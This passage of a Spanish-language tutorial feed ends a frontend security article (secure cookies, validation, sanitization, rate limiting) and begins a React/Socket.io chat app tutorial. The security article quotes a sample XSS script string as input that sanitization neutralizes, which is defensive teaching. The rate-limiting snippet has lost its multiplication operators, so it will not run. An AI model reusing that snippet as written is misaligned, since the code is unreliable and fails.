</code></pre><p>Esto asegura que toda la comunicación entre cliente y servidor se encripte.</p><p><strong><strong>2. </strong>Aprender<strong> </strong>a Almacenar<strong> </strong>Datos Sensibles<strong> </strong>en Ubicaciones Seguras</strong></p><p>Evita almacenar información sensible (como tokens o contraseñas) en mecanismos de navegadores inseguros tales como localStorage o sessionStorage. En cambio, usa cookies seguras con los argumentos HttpOnly y Secure. Por ejemplo, cuando pongas las cookies para la autenticación de usuario, configúralos de esta forma en tu Back-end:</p><pre><code class="language-javascript">res.cookie('authToken', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
});
</code></pre><p>Esto previene que ataques basado en JavaScript (como XSS) accedan a la cookie a la vez que asegura quese envíe solamente sobre HTTPS.</p><p><strong><strong>3. Valida </strong>y<strong> Sanitiz</strong>a<strong> </strong>las Entradas</strong></p><p>Cuando recolectes datos sensibles, valida y sanitiza las entradas de usuario para prevenir datos maliciosos de que sean procesados. Si estás construyendo un formulario para recolecar PII, como direcciones de email o números de teléfono, valida la entrada tanto el lado del cliente como del servidor:</p><p><strong>Validación del lado del <strong>Client</strong>e<strong> (React):</strong></strong></p><pre><code class="language-javascript">const validateEmail = (email) =&gt; {
    const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return regex.test(email);
};
</code></pre><p><strong>Validación del lado del <strong>Serv</strong>idor <strong>(Node.js):</strong></strong></p><pre><code class="language-javascript">const sanitize = require('sanitize-html');
app.post('/submit', (req, res) =&gt; {
    const sanitizedInput = sanitize(req.body.email);
    // Proceso de entrada sanitizada
});
</code></pre><p><strong><strong>4. Minimiz</strong>a<strong> </strong>la Exposición de <strong>Dat</strong>os</strong></p><p>Solamente recoge y expón los datos cuando sea absolutamente necesario. Evitar incluir información sensible en los registros, URLs, o mensajes de error de API.</p><p>Por ejemplo, cuando depures un problema en producción, usa registros redactados para los datos sensibles:</p><pre><code class="language-javascript">console.log(`Usuario: ${user.name}, Contraseña: [REDACTADO]`);
</code></pre><p>Esto previene la exposición accidental de información sensible en tus registros.</p><!--kg-card-begin: html--><h3 id="integridad">Integridad</h3><!--kg-card-end: html--><p><a href="https://improvado.io/blog/data-integrity-explained">La Integridad de los datos</a> es más que asegurar que cada pieza de información permanezca precisa, y consistente, y no cambie en el curso de su ciclo de vida. En otras palabras, a medida que los datos viajen a través de la transmisión, procesamiento, o almacenamientos, nunca se dañe, o sea manipulado.</p><p>Esto requiere algo de proactividad, porque no estás solamente protegiendo la integridad de la información de los atacantes sino también tus propios sistemas o errores potenciales. Datos alterados pueden romper la funcionalidad o engañar a los usuarios. O los atacantes podrían modificar las entradas de datos para explotar vulnerabilidades, como ya discutí anteriormente.</p><p><strong>Convirtiendo la<strong> Integri</strong>dad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Si tu aplicación acepta entrada de usuario, tales como una dirección email, valídalo con un regex antes de enviarlo al servidor.</p><p><strong>Validación del lado del <strong>Client</strong>e<strong>:</strong></strong></p><pre><code class="language-javascript">const isValidEmail = (email) =&gt; /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
if (!isValidEmail(userInput)) {
    alert("Dirección de email inválido");
}
</code></pre><p><strong>Validación del lado del <strong>Serv</strong>idor<strong>:</strong></strong></p><pre><code class="language-javascript">const { body, validationResult } = require('express-validator');
app.post('/register', [
    body('email').isEmail().withMessage('Email inválido'),
    body('password').isLength({ min: 8 }).withMessage('La contraseña debe ser al menos 8 caracteres de largo'),
], (req, res) =&gt; {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
    // Procesa entrada válida
});
</code></pre><p>Validación del lado del servidor actúa como una segunda capa de defensa. Usando un framework como Express en Node.js.</p><p>Acciones de usuario importantes, tales como modificar los detalles de la cuenta o eliminar datos, requiere confirmación explícita del usuario para prevenir cambios maliciosos o initencionales. Puedes usar un diálogo de confirmación para operaciones sensibles como eliminar una cuenta de usuario:</p><pre><code class="language-javascript">const deleteAccount = () =&gt; {
    const confirmed = window.confirm("¿Estás seguro que quieres eliminar tu cuenta?");
    if (confirmed) {
        // Procede con la eliminación de la cuenta
        fetch('/delete-account', { method: 'DELETE' });
    }
};
</code></pre><p>Sanitiza los datos para saducir cualquier caracter dañino o scripts antes de que se procesen. Usa librerías como DOMPurify para limpiar la entrada de usuario en una aplicación de React:</p><pre><code class="language-javascript">import DOMPurify from 'dompurify';
const sanitizedInput = DOMPurify.sanitize(userInput);
</code></pre><p>Esto asegura que contenido potencialmente malicioso, tales como <code>&lt;script&gt;alerta('XSS')&lt;/script&gt;</code>, sea neutralizado antes de renderizarse.</p><p>Para prevenir la manipulación del DOM, usa funciones de codificación para reducir el riesgo de ejecutar scripts malos u otras entradas de usuario. En React, usa el argumento <code>dangerouslySetInnerHTML</code> cuidadosamente y solamente con contenido sanado de forma apropiada.</p><pre><code class="language-javascript">const safeContent = DOMPurify.sanitize(unsafeContent);
return &lt;div dangerouslySetInnerHTML={{ __html: safeContent }} /&gt;;
</code></pre><p>La Codificación previene que el contenido generado por el usuario sea ejecutado como código.</p><p>Y no te olvides de mantener un ojo cerrado sobre cualquier script de tercero regularmente para asegurar que no hayan áreas de preocupación. Como ya he discutido antes, herramientas como Snyk o npm audit son usados para verificar vulnerabilidades en las dependencias. Abarca las vulnerabilidades señaladas con protintud al actualizar o reemplazar paquetes problemáticos. De forma adicional, asegura la implementación de soluciones de copias de seguridad robustos para proveer almacenamiento inmutable y encriptación de extremo a extremo para reducir el riesgo de pérdida de datos y de acceso no autorizado de forma significativa. Y no te olvides de mantener un ojo cerrado sobre cualquier script de terceros de forma regular para asegurarte que no hayan áreas de preocupación.</p><!--kg-card-begin: html--><h3 id="disponibilidad">Disponibilidad</h3><!--kg-card-end: html--><p>La Disponibilidad trata todo sobre acceso. ¿Tu aplicación de Front-end permanece operacional de manera confiable y accesible a tus usuarios? Si es así, incluso ante amenazas potenciales, entonces estás haciendo bien.</p><p>El éxito aquí es sobre diseñar soluciones que mantienen a la aplicación en ejecución, especialmente en tiempos de tráfico de usuario pesado, fallas de servidor, lo que quieras. No puedes tener una aplicación exitosa que se rompe todo el tiempo o posee una amenaza potencial debido al tiempo de inactividad.</p><p><strong>Convirtiendo la<strong> </strong>Disponibilidad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Como desarrollador de Front-end quien quiere enfocarse en la disponibilidad, tendrás que aprender a cómo:</p><p><strong><strong>1. Distrib</strong>uir<strong> </strong>el <strong>Tráfic</strong>o<strong> </strong>entre Servidores</strong></p><p>El balance de carga esparce las peticiones de usuarios a través de múltiples servidores para prevenir sobrecargar un sólo servidor y mantener la operación fluida durante el pico de tráfico. Si estás desplegando un Front-end en AWS, usa Balance de Carga Elástica (ELB en inglés) para distribuir el tráfico:</p><ul><li>Configura múltiples instancias de EC2 para hospedar tu aplicación.</li><li>Configura un ELB para enrutar las peticiones de usuarios de forma uniforme a través de estas instancias.</li><li>ELB también detecta instancias no sanas y re-enrute el tráfico a las sanas automáticamente.</li></ul><p><strong><strong>2. Implement</strong>a<strong> </strong>Guardar en caché los<strong> </strong>Mecanismos</strong></p><p>Guardar en caché frecuentemente recursos accesidos de forma local el cual reduce la carga de servidor y acelera las peticiones de usuario. Puedes usar la caché del navegador para almacenar archivos como imágenes, hojas de estilo, y scripts.</p><p><strong>Caché del lado del <strong>Client</strong>e<strong>:</strong></strong></p><p>En tus encabezados de respuesto de HTTP, pon directivas de control de caché:</p><pre><code class="language-bash">Cache-Control: public, max-age=31536000
</code></pre><p>Esto le dice a los navegadores que guarden en caché los recursos por un año para reducir las peticiones a tu servidor.</p><p><strong>Caché del lado del <strong>Serv</strong>idor<strong>:</strong></strong></p><p>Usa herramientas como Redis o Varnish Cache para almacenar datos dinámicos. Si estás usando un servidor de Node.js con Redis:</p><pre><code class="language-javascript">const redis = require('redis');
const client = redis.createClient();

app.get('/data', async (req, res) =&gt; {
    const cachedData = await client.get('key');
    if (cachedData) {
        return res.json(JSON.parse(cachedData));
    }
    const data = await fetchDataFromDatabase();
    client.setex('key', 3600, JSON.stringify(data)); // Caché por 1 hora
    res.json(data);
});
</code></pre><p><strong><strong>3. Implement</strong>a Reglas de Limitación de Tasa</strong></p><p>Al implementar reglas de limitación de tasa para limitar el número de solicitudes de la misma IP en un fragmento de tiempo dado, estás previniendo el abuso y asegurar la disponibilidad para todos los usuarios. Usa una librería como express-rate-limit en tu aplicación de Node.js:</p><pre><code class="language-javascript">const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
    windowMs: 15  60  1000, // 15 minutos
    max: 100, // Limita a cada IP 100 solicitudes por ventana
    message: "Demasiadas solicitudes de esta IP, por favor intente nuevamente más tarde.",
});
app.use(limiter);
</code></pre><p>Esto asegura que ningún usuario pueda abrumar a tus servidores, manteniendo la aplicación disponible para todos.</p><!--kg-card-begin: html--><h2 id="conclusion">Conclusión</h2><!--kg-card-end: html--><p>Recuerda, entender y aplicar estas habilidades importantes de ciberseguridad no es solo para el Back-end. Mientras que el desarrollo de Front-end se enfoca en las estéticas e interactividad, también es una línea crítica de defensa donde puedes mitigar amenazas antes de que se vuelvan problemas mayores.</p><p>La clave es saber cómo usar estas habilidades de forma que tu trabajo de Front-end sea tan seguro como tu trabajo de Back-end. He cubierto diferentes tipos de ataques y las habilidades necesarias para reducir los riesgos, pero solamente tendrás éxito si aprendes a aplicarlos por ti mismo.</p><p>Con algo de práctica y un entendimiento básico de cómo funciona la ciberseguridad, puedes crear aplicaciones amigables y seguras. Además, construir tus habilidades de ciberseguridad puede ayudarte en abrir nuevas oportunidades en el futuro, así que el mejor momento para abrazarlos es ahora.</p><p>Comienza a plicar estas ideas hoy, o siéntete libre de explorar recursos adicionales. No tengas miedo de invertir desarrollo personal de unirte a comunidades de ciberseguridad.</p><p>Pronto averiguarás cuán importante es entender ciberseguridad como un desarrollador moderno, y puedes contribuir a construir un futuro más resiliente y más seguro.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo construir una Aplicación de Chat en Tiempo Real con React, Node, Socket.io, y HarperDB ]]>
                </title>
                <description>
                    <![CDATA[ En este artículo, estaremos usando Socket.io y HarperDB para construir una aplicación chat fullstack de tiempo real con salas de chat. Este será un gran proyecto para aprender cómo armar las aplicaciones fullstack, y cómo crear una aplicación donde el back-end puede comunicarse con el front-end en tiempo real. Normalmente, ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-construir-una-aplicacion-de-chat-en-tiempo-real-con-react-node-socket-io-y-harperdb/</link>
                <guid isPermaLink="false">675af63196d716043ef3d8e3</guid>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Socket.io ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HarperDB ]]>
                    </category>
                
                    <category>
                        <![CDATA[ full stack ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Fri, 24 Jan 2025 16:28:21 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/12/pexels-keira-burton-6146929.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>En este artículo, estaremos usando Socket.io y HarperDB para construir una aplicación chat fullstack de tiempo real con salas de chat.</p><p>Este será un gran proyecto para aprender cómo armar las aplicaciones fullstack, y cómo crear una aplicación donde el back-end puede comunicarse con el front-end en tiempo real.</p><p>Normalmente, usando solicitudes HTTP, el servidor no puede enviar datos al cliente en tiempo real. Pero al usar Socket.io, el servidor es capaz de enviar información en tiempo real al cliente sobre algunos eventos que sucedieron en el servidor.</p><p>La aplicación que estaremos construyendo tiene dos páginas:</p><p>Una página <code>join-a-chat-room</code>:</p><figure class="kg-card kg-image-card"><img src="https://lh6.googleusercontent.com/SyHBvbkVavSJTxNV1nOi2-V_YYXm3upFOJvAzBXwd1VNu10SKV4WBSyQS1tdf4OhiDbqlq3sLqCxWRSJafZwhfcsp72DSKEy3-hk3JvNVGcmsSgkHHpEH69pnBDVKCv6bXiMza4cC4BZiLCOiqKPAIk" class="kg-image" alt="How our app home page will look: a form with username input, select room dropdown and Join Room button" width="475" height="468" loading="lazy"></figure><p>Y una página <code>chat-room</code>:</p><figure class="kg-card kg-image-card"><img src="https://lh6.googleusercontent.com/uRkjeHOuGGGf9HnK7bZ1Zd6WeNMo8kaR6Py0_RiEDx1VUuTPx4oYNvfmPlOxNLAicM7bnr9rm0oY0E7k0fwfaZIEz4K1V-5ejOM3ztmrmjIjC8OsRyzNf0HZurxMWUMzdLgic7o8oC-RQxELo8vdcVw" class="kg-image" alt="The finished chat page" width="1216" height="678" loading="lazy"></figure><p>Aquí está lo que estaremos usando para construir este aplicación:</p><ul><li><strong><strong>Front</strong>-<strong>end</strong></strong>: <a href="https://reactjs.org/docs/create-a-new-react-app.html">React</a> (Un framework de front-end de JavaScript para construir aplicaciones interactvias)</li><li><strong><strong>Back</strong>-<strong>end</strong></strong>: <a href="https://nodejs.org/en/">Node</a> y <a href="https://expressjs.com/">Express</a> (Express es un framework muy popular de NodeJS que nos permite crear fácilmente APIs y back-ends)</li><li><strong>Base de Datos</strong>: <a href="https://harperdb.io/">HarperDB</a> (una plataforma de datos + aplicación que te permite solicitar datos usando SQL o NoSQL. HarperDB también tiene una API integrada, ahorrándonos el escribir mucho código de back-end)</li><li><strong>Comunicación en Tiempo Real</strong>: <a href="https://socket.io/docs/v3/">Socket.io</a> (¡ve abajo!)</li></ul><p><a href="https://github.com/DoableDanny/Realtime-chat-app-with-rooms">Aquí está el código fuente</a> (recuerda de darle una estrella ⭐).</p><h2 id="tabla-de-contenidos"><strong>Tabla de Contenidos</strong></h2><ol><li>¿<a href="#que-es-socketio">Qué es Socket.io?</a></li><li><a href="#configuracion-proyecto">Configuración del Proyecto</a></li><li><a href="#como-construir-pagina-join-a-room">Cómo construir la Página "Join a Room"</a></li><li><a href="#como-configurar-servidor">Cómo configurar el Servidor</a></li><li><a href="#como-crear-primer-escucha-evento-socketio">Cómo crear nuestro primer Escucha de Evento de Socket.io en el Servidor</a></li><li><a href="#como-funcionan-salas-socketio">Cómo funcionan las Salas en Socket.io</a></li><li><a href="#como-construir-pagina-chat">Cómo construir la Página Chat</a></li><li><a href="#como-crear-componente-messages">Cómo crear el componente Messages (B)</a></li><li><a href="#como-crear-esquema-y-tabla-harperdb">Cómo crear un Esquema y una Tabla en HarperDB</a></li><li><a href="#como-crear-componente-send-message">Cómo crear el Componente Send Message (C)</a></li><li><a href="#como-configurar-variables-entorno-harperdb">Cómo configurar las Variables de Entorno de HarperDB</a></li><li><a href="#como-permitir-a-usuarios-envien-mensajes-con-socketio">Cómo permitir a los Usuarios que se envíen Mensajes con Socket.io</a></li><li><a href="#como-obtener-mensajes-desde-harperdb">Cómo obtener los Mensajes desde HarperDB</a></li><li><a href="#como-mostrar-ultimos-100-mensajes-en-el-cliente">Cómo mostrar los Últimos 100 Mensajes en el Client</a>e</li><li><a href="#como-mostrar-sala-y-usuarios">Cómo mostrar la Sala y los Usuarios (A)</a></li><li><a href="#como-quitar-un-usuario-de-sala-socketio">Cómo quitar a un Usuario de una Sala de Socket.io</a></li><li><a href="#como-agregar-escucha-evento-disconnect">Cómo agregar el Escucha de Evento Disconnect de Socket.io</a></li></ol><!--kg-card-begin: html--><h2 id="que-es-socketio">¿Qué es Socket.io?</h2><!--kg-card-end: html--><p>Socket.io permite al servidor enviar información al cliente en tiempo real, cuando los eventos ocurren en el servidor.</p><p>Por ejemplo, si estuvieras jugando un juego de múltiple jugador, un evento podría ser tu "amigo" que consiguió un gol espectacular en contra tuya.</p><p>Con Socket.io, sabrías (casi) instantáneamente sobre conceder un gol.</p><p>Sin Socket.io, el cliente tendría que hacer múltiples llamadas <em>polling</em> de AJAX para verificar que el evento ha ocurrido en el servidor. Por ejemplo, el cliente podría usar JavaScript para verificar un evento en el servidor cada 5 segundos.</p><p>Socket.io significa que el cliente no tiene que hacer múltiples llamadas polling de AJAX para verificar si algunos eventos han ocurrido en el servidor. Más bien, el servidor envía la información al cliente tan pronto como lo obtenga. Mucho mejor.👌</p><p>Así que, Socket.io nos permite construir fácilmente aplicaciones de tiempo real, tales comos aplicaciones de chat y juegos multijugador.</p><!--kg-card-begin: html--><h2 id="configuracion-proyecto">Configuración del Proyecto</h2><!--kg-card-end: html--><h3 id="1-c-mo-configurar-nuestras-carpetas"><strong>1. Cómo configurar nuestras carpetas</strong></h3><p>Comienza un nuevo proyecto en tu editor de texto de prefrencia (VS Code para mí), y crea dos carpetas a nivel raíz llamados client y server.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/folder-structure.JPG" class="kg-image" alt="Realtime chat app folder structure" width="600" height="400" loading="lazy"></figure><p>Crearemos nuestra aplicación React Front-end &nbsp;en la carpeta client, y nuestro backend con Node/express en la carpeta server.</p><h3 id="2-c-mo-instalar-nuestras-dependencias-de-client"><strong>2. Cómo instalar nuestras dependencias de client</strong></h3><p>Abre una terminal en la raíz del proyecto (en VS Code, puedes hacer esto al presionar Ctrl + ' o al ir a <em>terminal-&gt;new terminal</em>).</p><p>Luego, instalaremos React en nuestra carpeta client:</p><pre><code class="language-bash">$ npx create-react-app client
</code></pre><p>Después de que React se haya instalado, ve hacia la carpeta client, e instala las siguientes dependencias:</p><pre><code class="language-bash">$ cd client
$ npm i react-router-dom socket.io-client
</code></pre><p>React-router-dom nos permitirá configurar las rutas a nuestros distintos componentes de React – esencialmente creando diferentes páginas.</p><p>Socket.io-client es la versión cliente de socket.io, que nos permite "emitir" eventos al servidor. Una vez que el servidor lo recibe, podemos usar la versión del servidor de socket.io para hacer cosas como enviar mensajes a los usuarios en la misma sala como el emisor, o unirse con un usuario a una sala de socket.</p><p>Ganarás un mejor entendimiento de esto más tarde cuando lleguemos a implementar estas ideas con código.</p><h3 id="3-c-mo-iniciar-la-aplicaci-n-de-react"><strong>3. Cómo iniciar la aplicación de React </strong></h3><p>Vamos a asegurarnos que todo está funcionando bien ejecutando el siguiente comando desde la carpeta client:</p><pre><code class="language-bash">$ npm start
</code></pre><p>Webpack construirá la aplicación de React y lo servirá en `http://localhost:3000`:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/react-is-running.JPG" class="kg-image" alt="Create react app up and running on localhost" width="600" height="400" loading="lazy"></figure><p>Ahora configuremos nuestra base de datos de HarperDB que usaremos para guardar mensajes de forma permanente enviados por los usuarios.</p><h3 id="c-mo-configurar-harperdb"><strong>Cómo configurar HarperDB</strong></h3><p>Primero, crea una <a href="https://studio.harperdb.io/">cuenta con HarperDB</a>.</p><p>Luego crea una nueva instancia en la nube de HarperDB.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/harper_instance.JPG" class="kg-image" alt="create HarperDB instance" width="600" height="400" loading="lazy"></figure><p>Para hacer las cosas fáciles, selecciona la instancia cloud:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/instance-type.JPG" class="kg-image" alt="select HarperDB instance type" width="600" height="400" loading="lazy"></figure><p>Selecciona el proveedor del cloud (Yo escojo AWS):</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/cloud_provider.JPG" class="kg-image" alt="select HarperDB cloud provider" width="600" height="400" loading="lazy"></figure><p>Brinda un nombre a tu instancia de la nube, y crea tus credenciales de la instancia:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/instance_credentials.JPG" class="kg-image" alt="select HarperDB instance credentials" width="600" height="400" loading="lazy"></figure><p>HarperDB tiene una capa gratuita generosa que podemos usar para este proyecto, así que selecciona ese:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/instance_specs.JPG" class="kg-image" alt="select HarperDB instance specs" width="600" height="400" loading="lazy"></figure><p>Verifica que tus detalles son correctos, luego crea la instancia.</p><p>Tomará unos pocos minutos para crear la instancia, así que continuemos y, ¡hagamos nuestro primer componente de React!</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/03/instance_loading.JPG" class="kg-image" alt="HarperDB instance loading" width="600" height="400" loading="lazy"></figure><!--kg-card-begin: html--><h2 id="como-construir-pagina-join-a-room">Cómo construir la Página "Join a Room"</h2><!--kg-card-end: html--><p>Nuestra página principal va a terminar luciendo así:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/home-page.JPG" class="kg-image" alt="How our app home page will look: a form with username input, select room dropdown and Join Room button" width="600" height="400" loading="lazy"></figure><p>El usuario ingresará un nombre de usuario, selecciona una sala de chat desde el despegable, luego haz clic en "Join Room". El usuario será dirigido a la página de la sala de chat.</p><p>Así que, hagamos esta página principal.</p><h3 id="1-c-mo-crear-el-formulario-html-y-agregar-estilos"><strong>1. Cómo crear el formulario HTML y agregar estilos</strong></h3><p>Crea un nuevo archivo en <code>src/pages/home/index.js</code>.</p><p>Agregaremos estilos básicos a nuestra aplicación usando módulos de CSS, así que crea un nuevo archivo: <code>src/pages/home/styles.module.css</code>.</p><p>Nuestra estructura de carpeta debería ahora lucir así:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/pages-folder-structure.JPG" class="kg-image" alt="pages folder with home page component" width="600" height="400" loading="lazy"></figure><p>Ahora creemos el formulario básico HTML:</p><pre><code class="language-jsx">// client/src/pages/home/index.js

import styles from './styles.module.css';

const Home = () =&gt; {
  return (
    &lt;div className={styles.container}&gt;
      &lt;div className={styles.formContainer}&gt;
        &lt;h1&gt;{`&lt;&gt;DevRooms&lt;/&gt;`}&lt;/h1&gt;
        &lt;input className={styles.input} placeholder='Username...' /&gt;

        &lt;select className={styles.input}&gt;
          &lt;option&gt;-- Select Room --&lt;/option&gt;
          &lt;option value='javascript'&gt;JavaScript&lt;/option&gt;
          &lt;option value='node'&gt;Node&lt;/option&gt;
          &lt;option value='express'&gt;Express&lt;/option&gt;
          &lt;option value='react'&gt;React&lt;/option&gt;
        &lt;/select&gt;

        &lt;button className='btn btn-secondary'&gt;Join Room&lt;/button&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  );
};

export default Home;
</code></pre><p>Arriba, tenemos un input de texto sencillo para capturar el nombre de usuario, y un despegable seleccionable con algunas opciones por defecto para que el usuario seleccione una sala de chat para unirse.</p><p>Ahora importemos este componente en <code>App.js</code> y configuremos una ruta para el componente usando el paquete <code>react-router-dom</code>. Este será nuestra página principal, así que la ruta será <code>/</code>:</p><pre><code class="language-jsx">// client/src/App.js

import './App.css';
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import Home from './pages/home';

function App() {
  return (
    &lt;Router&gt;
      &lt;div className='App'&gt;
        &lt;Routes&gt;
          &lt;Route path='/' element={&lt;Home /&gt;} /&gt;
        &lt;/Routes&gt;
      &lt;/div&gt;
    &lt;/Router&gt;
  );
}

export default App;
</code></pre><p>Ahora agreguemos algunos estilos básicos para hacer que nuestra aplicación luzca mas presentable:</p><pre><code class="language-css">/* client/src/App.css */

html * {
  font-family: Arial;
  box-sizing: border-box;
}
body {
  margin: 0;
  padding: 0;
  overflow: hidden;
  background: rgb(63, 73, 204);
}
::-webkit-scrollbar {
  width: 20px;
}
::-webkit-scrollbar-track {
  background-color: transparent;
}
::-webkit-scrollbar-thumb {
  background-color: #d6dee1;
  border-radius: 20px;
  border: 6px solid transparent;
  background-clip: content-box;
}
::-webkit-scrollbar-thumb:hover {
  background-color: #a8bbbf;
}
.btn {
  padding: 14px 14px;
  border-radius: 6px;
  font-weight: bold;
  font-size: 1.1rem;
  cursor: pointer;
  border: none;
}
.btn-outline {
  color: rgb(153, 217, 234);
  border: 1px solid rgb(153, 217, 234);
  background: rgb(63, 73, 204);
}
.btn-primary {
  background: rgb(153, 217, 234);
  color: rgb(0, 24, 111);
}
.btn-secondary {
  background: rgb(0, 24, 111);
  color: #fff;
}
</code></pre><p>También agreguemos los estilos específicos a nuestro componente de la página principal:</p><pre><code class="language-css">/* client/src/pages/home/styles.module.css */

.container {
  height: 100vh;
  width: 100%;
  display: flex;
  justify-content: center;
  align-items: center;
  background: rgb(63, 73, 204);
}
.formContainer {
  width: 400px;
  margin: 0 auto 0 auto;
  padding: 32px;
  background: lightblue;
  border-radius: 6px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 28px;
}
.input {
  width: 100%;
  padding: 12px;
  border-radius: 6px;
  border: 1px solid rgb(63, 73, 204);
  font-size: 0.9rem;
}
.input option {
  margin-top: 20px;
}
</code></pre><p>También hagamos que el botón "Join Room" tenga el ancho completo agregando un atributo de estilo:</p><pre><code class="language-jsx">// client/src/pages/home/index.js

&lt;button className='btn btn-secondary' style={{ width: '100%' }}&gt;Join Room&lt;/button&gt;
</code></pre><p>Nuestra página principal ahora se ve sólido:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/home-page-html.JPG" class="kg-image" alt="Fully-styled home page" width="600" height="400" loading="lazy"></figure><h3 id="2-c-mo-agregar-funcionalidad-al-formulario-join-room"><strong>2. Cómo agregar funcionalidad al formulario Join Room</strong></h3><p>Ahora tenemos un formulario básico y estilos, así que es tiempo de agregar algo de funcionalidad.</p><p>Esto es lo que queremos que suceda cuando el usuario haga clic en el botón "Join Room":</p><ol><li>Verificar que el nombre de usuario y los campos de la sala sean rellenados.</li><li>Si es así, emitimos un evento de socket a nuestro servidor.</li><li>Redireccionar al usuario a la página Chat (el cual crearemos luego).</li></ol><p>Vamos a necesitar crear algo de estado para almacenar los valores <em>nombre de usuario</em> y <em>room</em>. También necesitamos crear una instancia del socket.</p><p>Podríamos crear estos estados directamente dentro de nuestro componente <em>home</em>, pero nuestra página <em>Chat</em> también necesitará acceder al <em>username, <em>room</em> y <em>socket</em></em>. Así que elevaremos el estado al <code>App.js</code>, donde podemos pasar estas variables a las páginas <em>HomePage</em> y <em>Chat</em>.</p><p>Así que, creemos nuestro estado y configuremos un socket en <code>App.js</code>, y pasemos estas variables como props al componente. También pasaremos la función <code>setState</code> de forma que podamos alterar el estado:</p><pre><code class="language-jsx">// client/src/App.js

import './App.css';
import { useState } from 'react'; // Add this
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import io from 'socket.io-client'; // Add this
import Home from './pages/home';

const socket = io.connect('http://localhost:4000'); // Add this -- our server will run on port 4000, so we connect to it from here

function App() {
  const [username, setUsername] = useState(''); // Add this
  const [room, setRoom] = useState(''); // Add this

  return (
    &lt;Router&gt;
      &lt;div className='App'&gt;
        &lt;Routes&gt;
          &lt;Route
            path='/'
            element={
              &lt;Home
                username={username} // Add this
                setUsername={setUsername} // Add this
                room={room} // Add this
                setRoom={setRoom} // Add this
                socket={socket} // Add this
              /&gt;
            }
          /&gt;
        &lt;/Routes&gt;
      &lt;/div&gt;
    &lt;/Router&gt;
  );
}

export default App;
</code></pre><p>Ahora podemos acceder a estos props en nuestro componente <em>Home</em>. Usaremos la <a href="https://www.freecodecamp.org/espanol/news/como-usar-la-desestructuracion-de-arreglos-y-objetos-en-javascript/">destructuración</a> para obtener estas props:</p><pre><code class="language-jsx">// client/src/pages/home/index.js

import styles from './style.module.css';

const Home = ({ username, setUsername, room, setRoom, socket }) =&gt; {
  return (
    // ...
  );
};

export default Home;
</code></pre><p>Cuando el usuario ingrese su nombre de usuario o seleccione una sala, necesitamos actualizar las variables de estado <code>username</code> y <code>room</code><em>:</em></p><pre><code class="language-jsx">// client/src/pages/home/index.js

// ...

const Home = ({ username, setUsername, room, setRoom, socket }) =&gt; {
  return (
    &lt;div className={styles.container}&gt;
      // ...
        &lt;input
          className={styles.input}
          placeholder='Username...'
          onChange={(e) =&gt; setUsername(e.target.value)} // Add this
        /&gt;

        &lt;select
          className={styles.input}
          onChange={(e) =&gt; setRoom(e.target.value)} // Add this
        &gt;
         // ...
        &lt;/select&gt;

        // ...
    &lt;/div&gt;
  );
};

export default Home;
</code></pre><p>Ahora estamos capturamos los datos ingresados por el usuario, podemos crear una función <a href="https://www.freecodecamp.org/espanol/news/funciones-callback-en-javascript-que-son-los-callback-en-js-y-como-usarlos/">callback</a> <em>joinRoom()</em> para cuando el usuario haga clic en el botón "Join Room":</p><pre><code class="language-jsx">// client/src/pages/home/index.js

// ...

const Home = ({ username, setUsername, room, setRoom, socket }) =&gt; {

  // Add this
  const joinRoom = () =&gt; {
    if (room !== '' &amp;&amp; username !== '') {
      socket.emit('join_room', { username, room });
    }
  };

  return (
    &lt;div className={styles.container}&gt;
      // ...

        &lt;button
          className='btn btn-secondary'
          style={{ width: '100%' }}
          onClick={joinRoom} // Add this
        &gt;
          Join Room
        &lt;/button&gt;
      // ...
    &lt;/div&gt;
  );
};

export default Home;
</code></pre><p>Arriba, cuando el usuario haga clic en el botón, un evento del socket llamado <code>joinroom</code> se emite, juntamente con un objeto conteniendo el nombre de usuario y la sala seleccionada. Este evento será recibido por nuestro servidor un poco más tarde cuando haremos algo de magia.</p><p>Para terminar nuestra página principal, necesitamos agregar una redirección al final de nuestra función <code>joinRoom()</code> para llevar al usuario a la página <em>/chat</em>:</p><pre><code class="language-jsx">// client/src/pages/home/index.js

// ...
import { useNavigate } from 'react-router-dom'; // Agrega esto

const Home = ({ username, setUsername, room, setRoom, socket }) =&gt; {
  const navigate = useNavigate(); // Agrega esto

  const joinRoom = () =&gt; {
    if (room !== '' &amp;&amp; username !== '') {
      socket.emit('join_room', { username, room });
    }

    // Redirecciona a /chat
    navigate('/chat', { replace: true }); // Agrega esto
  };

 // ...
